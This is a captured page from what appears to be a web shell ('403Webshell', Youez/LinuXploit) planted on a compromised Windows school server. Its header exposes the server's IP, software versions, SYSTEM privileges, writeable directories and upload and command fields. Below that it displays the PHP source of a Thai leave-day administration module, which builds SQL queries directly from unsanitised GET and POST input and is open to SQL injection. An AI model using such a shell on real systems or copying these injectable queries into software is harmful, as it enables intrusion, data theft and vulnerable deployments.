403Webshell
Server IP : 172.67.187.206  /  Your IP : 172.71.28.156
Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586
User : SYSTEM ( 0)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  E:/Inetpub/www/myschool/prathan/modules/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : E:/Inetpub/www/myschool/prathan/modules/admin/tkk6_cat.php
				<TABLE width="100%" Valign=top align=center cellSpacing=0 cellPadding=0 border=0 height=420>
				<TR>
					<TD Valign=top>
					<BR><B><IMG SRC="images/icon/plus.gif" BORDER="0" ALIGN="absmiddle"> <A HREF="?name=admin&file=main">หน้าหลักผู้ดูแลระบบ</A>
					<BR><BR>
<?
//////////////////////////////////////////// แสดงรายการข่าวสาร / ประชาสัมพันธ์ 
if($_GET[op] == ""){
	$db->connectdb(DB_NAME,DB_USERNAME,DB_PASSWORD);
	$limit = 7 ;
	$SUMPAGE = $db->num_rows(TB_TKK6_CAT,"id","");
	$page=$_GET[page];
	if (empty($page)){
		$page=1;
	}
	$rt = $SUMPAGE%$limit ;
	$totalpage = ($rt!=0) ? floor($SUMPAGE/$limit)+1 : floor($SUMPAGE/$limit); 
	$goto = ($page-1)*$limit ;
?>
 <form action="?name=admin&file=tkk6_cat&op=tkk6cat_del&action=multidel" name="myform" method="post">
 <table width="100%" cellspacing="2" cellpadding="1" >
  <tr bgcolor="#990000" height=25>
   <td width="44"><CENTER><font color="#FFFFFF"><B>Option</B></font></CENTER></td>
   <td><font color="#FFFFFF"><B>ชื่อสังกัด</B></font></td> 
<td><font color="#FFFFFF"><B>กลุ่ม</B></font></td>   
   <td><font color="#FFFFFF"><B>วันลาพักผ่อนสะสม</B></font></td>
   <td><font color="#FFFFFF"><B>สิทธิลาพักผ่อนปีนี้</B></font></td>   
  </tr>  
<?
$res[category] = $db->select_query("SELECT * FROM ".TB_TKK6_CAT." ORDER BY sort ASC LIMIT $goto, $limit ");
$rows[category] = $db->rows($res[category]);
$CATCOUNT = 0 ;
while ($arr[category] = mysql_fetch_array($res[category])){

    $CATCOUNT ++ ;
   //กำหนดการเปลี่ยนลำดับขึ้น
   $SETSORT_UP = $arr[category][sort]-1;
   if($CATCOUNT == "1"){
	   $SETSORT_UP = "1" ;
   }
	//กำหนดการเปลี่ยนลำดับลง
   $SETSORT_DOWN = $arr[category][sort]+1;
   if($CATCOUNT == $rows[category]){
	   $SETSORT_DOWN = $arr[category][sort] ;
   }
?>
    <tr>
     <td width="44">
      <a href="?name=admin&file=tkk6_cat&op=tkk6cat_edit&cat=<? echo $arr[category][cat];?>"><img src="images/admin/edit.gif" border="0" alt="แก้ไข" > <a href="javascript:Confirm('?name=admin&file=tkk6_cat&op=tkk6cat_del&id=<? echo $arr[category][id];?>','คุณมั่นใจในการลบหมวดหมู่นี้ ?');"><img src="images/admin/trash.gif"  border="0" alt="ลบ" ></a>
     </td> 
     <td><?echo $arr[category][category_name];?></td>
  <td><?echo $arr[category][kom];?></td>
  <td><?echo $arr[category][cumulative];?></td>
<td><?echo $arr[category][claim];?></td>   
    </tr>
	<TR>
		<TD colspan="6" height="1" class="dotline"></TD>
	</TR>
<?
 } 
?>
 </table>
 
 </form><BR><BR>
<?
	SplitPage($page,$totalpage,"?name=admin&file=tkk6_cat");
	echo $ShowSumPages ;
	echo "<BR>";
	echo $ShowPages ;
}
else if($_GET[op] == "tkk6cat_add" AND $_GET[action] == "add"){
	//////////////////////////////////////////// กรณีเพิ่ม Database
	if(CheckLevelUser($_SESSION['user_user'],$_GET[op])){
	//	require("includes/class.resizepic.php");

		//ทำการเพิ่มข้อมูลลงดาต้าเบส

$db->add_db(TB_TKK6_CAT,array(
"yearla"=> $_POST[YEARLA],
"cat"=> $_POST[CAT],
"category_name"=> $_POST[CATEGORY_NAME],
"working"=>"$_POST[WORKING]",
"cumulative"=> $_POST[CUMULATIVE],
"claim"=> $_POST[CLAIM],
"post_date"=>"".TIMESTAMP."",
"update_date"=>"".TIMESTAMP.""
));
$db->closedb ();

		$ProcessOutput .= "<BR><BR>";
		$ProcessOutput .= "<CENTER><A HREF=\"?name=admin&file=main\"><IMG SRC=\"images/icon/login-welcome.gif\" BORDER=\"0\"></A><BR><BR>";
		$ProcessOutput .= "<FONT COLOR=\"#336600\"><B>ได้ทำการเพิ่มเมนู   เข้าสู่ระบบเรียบร้อยแล้ว</B></FONT><BR><BR>";
		$ProcessOutput .= "<meta http-equiv=\"refresh\" content=\"1 ;url=?name=tkk6&file=tkk6cat\">";
		$ProcessOutput .= "</CENTER>";
		$ProcessOutput .= "<BR><BR>";
	}else{
		//กรณีไม่ผ่าน
		$ProcessOutput = $PermissionFalse ;
	}
	echo $ProcessOutput ;
}
else if($_GET[op] == "tkk6cat_add"){
	//////////////////////////////////////////// กรณีเพิ่ม Form
	if(CheckLevelUser($_SESSION['user_user'],$_GET[op])){
//ดึงค่า
		$db->connectdb(DB_NAME,DB_USERNAME,DB_PASSWORD);
		$res[user] = $db->select_query("SELECT * FROM ".TB_user." WHERE id='".$_GET[id]."' ");
		$arr[user] = $db->fetch($res[user]);

//ดึงค่า
		$db->connectdb(DB_NAME,DB_USERNAME,DB_PASSWORD);
		$res[yearla] = $db->select_query("SELECT * FROM ".TB_YEARLA_CAT."  ORDER BY id ");
		$arr[yearla] = $db->fetch($res[yearla]);	
//ดึงค่า
		$db->connectdb(DB_NAME,DB_USERNAME,DB_PASSWORD);
		$res[category] = $db->select_query("SELECT * FROM ".TB_TKK6_CAT." WHERE cat='".$arr[user][id]."'and yearla-'1' ORDER BY id DESC LIMIT 1 ");
		$arr[category] = $db->fetch($res[category]);
		$db->closedb ();
?>

<?php
// Make สถิติพักผ่อน
$db->connectdb(DB_NAME,DB_USERNAME,DB_PASSWORD);
$query = "SELECT numpoi SUM(numpoi) FROM web_tkk6  WHERE  cat='".$arr[user][id]."'and yearla-1  GROUP BY id"; 
$sql8="select sum(numpoi) as tt8 from web_tkk6 where   cat='".$arr[user][id]."' and yearla-1 and la='พักผ่อน' and comment1='อนุญาต'  ";
			$dbquery8 = mysql_db_query($dbname, $sql8);
			$result8= mysql_fetch_array($dbquery8);
			$sumrest=$result8[tt8];
?>
<FORM NAME="myform" METHOD=POST ACTION="?name=admin&file=tkk6_cat&op=tkk6cat_add&action=add&id=<?=$_GET[id];?>" enctype="multipart/form-data">
<B>ชื่อหน่วยงาน:</B><BR>
<INPUT TYPE="hidden" NAME="YEARLA" size="5" value="<?=$arr[yearla][name];?>">
<INPUT TYPE="hidden" NAME="CAT" size="5" value="<?=$arr[user][id];?>">
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ชื่อ <INPUT TYPE="hidden" NAME="CATEGORY_NAME" size="25" value="<?=$arr[user][category_name];?>"><?=$arr[user][category_name];?>
<?
					 if((20<$arr[category][cumulative]+$arr[category][claim]-$result8[tt8])AND($arr[category][cumulative]<0)){ 	  
?>	
&nbsp;&nbsp;&nbsp;&nbsp;วันลาสะสม&nbsp;&nbsp;<INPUT TYPE="text" NAME="CUMULATIVE" size="5" >
<? } else {echo ""; }?>
<?
					 if((20<$arr[category][cumulative]+$arr[category][claim]-$result8[tt8])AND($arr[category][cumulative]>0)){ 	  
?>	
&nbsp;&nbsp;&nbsp;&nbsp;วันลาสะสม&nbsp;&nbsp;<INPUT TYPE="text" NAME="CUMULATIVE" size="5" value="20">
<? } else {echo ""; }?>
<?
					 if((20>$arr[category][cumulative]+$arr[category][claim]-$result8[tt8])OR(20==$arr[category][cumulative]+$arr[category][claim]-$result8[tt8])){ 	  
?>	
&nbsp;&nbsp;&nbsp;&nbsp;วันลาสะสม&nbsp;&nbsp;<INPUT TYPE="text" NAME="CUMULATIVE" size="5" value="<?$a=$arr[category][cumulative]+$arr[category][claim]-$sumrest;echo "" .round($a,1)?>">
<? } else {echo ""; }?>
สิทธิการลาปีนี้&nbsp;&nbsp;<INPUT TYPE="text" NAME="CLAIM" size="5" value="10">
&nbsp;&nbsp;กลุ่ม<SELECT NAME="WORKING"><option></option>
<?
$db->connectdb(DB_NAME,DB_USERNAME,DB_PASSWORD);
$res[category] = $db->select_query("SELECT * FROM ".TB_WORKING_CAT." ORDER BY id ");
while ($arr[category] = $db->fetch($res[category])){

echo "<option value=\"".$arr[category][level]."\" ";
		if($arr[category][level] == $arr[user][working]){echo " Selected";};
		echo ">".$arr[category][category_name]."</option>";

}
$db->closedb ();
?>
</SELECT>
&nbsp;&nbsp;<input type="submit" value="เพิ่มรายการ" name="submit">
</FORM>
<BR><BR>
<?
	}else{
		//กรณีไม่ผ่าน
		echo  $PermissionFalse ;
	}
}
else if($_GET[op] == "tkk6cat_edit" AND $_GET[action] == "edit" ){
	//////////////////////////////////////////// กรณีแก้ไข Database Edit
	if(CheckLevelUser($_SESSION['user_user'],$_GET[op])){
	//ดึงค่า
		$db->connectdb(DB_NAME,DB_USERNAME,DB_PASSWORD);
		$res[yearla] = $db->select_query("SELECT * FROM ".TB_YEARLA_CAT." ORDER BY id ");
		$arr[yearla] = $db->fetch($res[yearla]);	
	//ดึงค่า
		$db->connectdb(DB_NAME,DB_USERNAME,DB_PASSWORD);
		$res[category] = $db->select_query("SELECT * FROM ".TB_RADAB_CAT." ORDER BY id DESC LIMIT 1 ");
		$arr[category] = $db->fetch($res[category]);
		$db->closedb ();

		//ทำการแก้ไขข้อมูลลงดาต้าเบส
//$REF = TIMESTAMP ; 
$db->connectdb(DB_NAME,DB_USERNAME,DB_PASSWORD);	
$db->update_db(TB_TKK6_CAT,array(
"yearla"=> $_POST[YEARLA],
"cat"=> $_POST[CAT],
"category_name"=> $_POST[CATEGORY_NAME],
"working"=>"$_POST[WORKING]",
"cumulative"=> $_POST[CUMULATIVE],
"claim"=> $_POST[CLAIM],
"post_date"=>"".TIMESTAMP."",
"update_date"=>"".TIMESTAMP.""
		)," id=$_GET[id] ");
		$db->closedb ();

		$ProcessOutput .= "<BR><BR>";
		$ProcessOutput .= "<CENTER><A HREF=\"?name=admin&file=main\"><IMG SRC=\"images/icon/login-welcome.gif\" BORDER=\"0\"></A><BR><BR>";
		$ProcessOutput .= "<FONT COLOR=\"#336600\"><B>ได้ทำการแก้ไขเมนูสร้างเอง เข้าสู่ระบบเรียบร้อยแล้ว</B></FONT><BR><BR>";
		$ProcessOutput .= "<A HREF=\"?name=tkk6&file=tkk6cat\"><B>กลับหน้า จัดการวันลาสะสม</B></A>";
		$ProcessOutput .= "</CENTER>";
		$ProcessOutput .= "<BR><BR>";
	}else{
		//กรณีไม่ผ่าน
		$ProcessOutput = $PermissionFalse ;
	}
	echo $ProcessOutput ;
}


else if($_GET[op] == "tkk6cat_edit" ){
	//////////////////////////////////////////// กรณีแก้ไข Form
	if(CheckLevelUser($_SESSION['user_user'],$_GET[op])){

//ดึงค่า
		$db->connectdb(DB_NAME,DB_USERNAME,DB_PASSWORD);
		$res[yearla] = $db->select_query("SELECT * FROM ".TB_YEARLA_CAT." ORDER BY id ");
		$arr[yearla] = $db->fetch($res[yearla]);	
//ดึงค่า
		$db->connectdb(DB_NAME,DB_USERNAME,DB_PASSWORD);
		$res[user] = $db->select_query("SELECT * FROM ".TB_user." WHERE  id='".$_GET[id]."' ");
		$arr[user] = $db->fetch($res[user]);
		$db->closedb ();
//ดึงค่า
		$db->connectdb(DB_NAME,DB_USERNAME,DB_PASSWORD);
		$res[category] = $db->select_query("SELECT * FROM ".TB_TKK6_CAT." WHERE id='".$_GET[id]."'  ");
		$arr[category] = $db->fetch($res[category]);	
?>

<FORM NAME="myform" METHOD=POST ACTION="?name=admin&file=tkk6_cat&op=tkk6cat_edit&action=edit&id=<?=$_GET[id];?>" enctype="multipart/form-data">
<INPUT TYPE="hidden" NAME="YEARLA" size="5" value="<?=$arr[yearla][name];?>">
<BR>
<INPUT TYPE="hidden" NAME="CAT" size="5" value="<?=$arr[category][cat];?>">
<BR>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ชื่อ <INPUT TYPE="hidden" NAME="CATEGORY_NAME" size="25" value="<?=$arr[category][category_name];?>"><?=$arr[category][category_name];?>

&nbsp;&nbsp;&nbsp;&nbsp;วันลาสะสม&nbsp;&nbsp;<INPUT TYPE="text" NAME="CUMULATIVE" size="5" value="<?=$arr[category][cumulative];?>">

สิทธิลาพักผ่อนปีนี้&nbsp;&nbsp;<INPUT TYPE="text" NAME="CLAIM" size="5" value="10">&nbsp;&nbsp;
<SELECT NAME="WORKING"><option></option>
<?
$db->connectdb(DB_NAME,DB_USERNAME,DB_PASSWORD);
$res[category1] = $db->select_query("SELECT * FROM ".TB_WORKING_CAT." ORDER BY id ");
while ($arr[category1] = $db->fetch($res[category1])){

echo "<option value=\"".$arr[category1][level]."\" ";
		if($arr[category1][level] == $arr[category][working]){echo " Selected";};
		echo ">".$arr[category1][category_name]."</option>";

}
$db->closedb ();
?>
</SELECT>

&nbsp;&nbsp;<input type="submit" value=" แก้ไข" name="submit">
</FORM>

<BR><BR>
<?
	}else{
		//กรณีไม่ผ่าน
		$ProcessOutput = $PermissionFalse ;
	}
	echo $ProcessOutput ;
}
else if($_GET[op] == "tkk6cat_del" AND $_GET[action] == "multidel"){
	//////////////////////////////////////////// กรณีลบ Multi
	if(CheckLevel($_SESSION['admin_user'],$_GET[op])){
		while(list($key, $value) = each ($_POST['list'])){
			$db->connectdb(DB_NAME,DB_USERNAME,DB_PASSWORD);
			$db->del(TB_TKK6_CAT," id='".$value."' "); 
			$db->closedb ();

	//		@unlink("pageicon/".$arr[page][post_date].".jpg");
		}
		$ProcessOutput .= "<BR><BR>";
		$ProcessOutput .= "<CENTER><A HREF=\"?name=admin&file=main\"><IMG SRC=\"images/icon/login-welcome.gif\" BORDER=\"0\"></A><BR><BR>";
		$ProcessOutput .= "<FONT COLOR=\"#336600\"><B>ได้ทำการลบเมนูสร้างเองเรียบร้อยแล้ว</B></FONT><BR><BR>";
		$ProcessOutput .= "</CENTER>";
		$ProcessOutput .= "<BR><BR>";
	}else{
		//กรณีไม่ผ่าน
		$ProcessOutput = $PermissionFalse ;
	}
	echo $ProcessOutput ;
}
else if($_GET[op] == "tkk6cat_del"){
	//////////////////////////////////////////// กรณีลบ Form
	if(CheckLevel($_SESSION['admin_user'],$_GET[op])){
		$db->connectdb(DB_NAME,DB_USERNAME,DB_PASSWORD);
		$db->del(TB_TKK6_CAT," id='".$_GET[id]."' "); 
		$db->closedb ();
//	@unlink("pageicon/".$_GET[prefix].".jpg");
		$ProcessOutput .= "<BR><BR>";
		$ProcessOutput .= "<CENTER><A HREF=\"?name=admin&file=main\"><IMG SRC=\"images/icon/login-welcome.gif\" BORDER=\"0\"></A><BR><BR>";
		$ProcessOutput .= "<FONT COLOR=\"#336600\"><B>ได้ทำการลบเมนูสร้างเองเรียบร้อยแล้ว</B></FONT><BR><BR>";
		$ProcessOutput .= "</CENTER>";
		$ProcessOutput .= "<BR><BR>";
	}else{
		//กรณีไม่ผ่าน
		$ProcessOutput = $PermissionFalse ;
	}
	echo $ProcessOutput ;
}
?>
						<BR><BR>
					</TD>
				</TR>
			</TABLE>
			<BR><BR>
			<!-- Admin -->
		  </TD>
        </TR>
      </TBODY>
    </TABLE>

Youez - 2016 - github.com/yon3zu
LinuXploit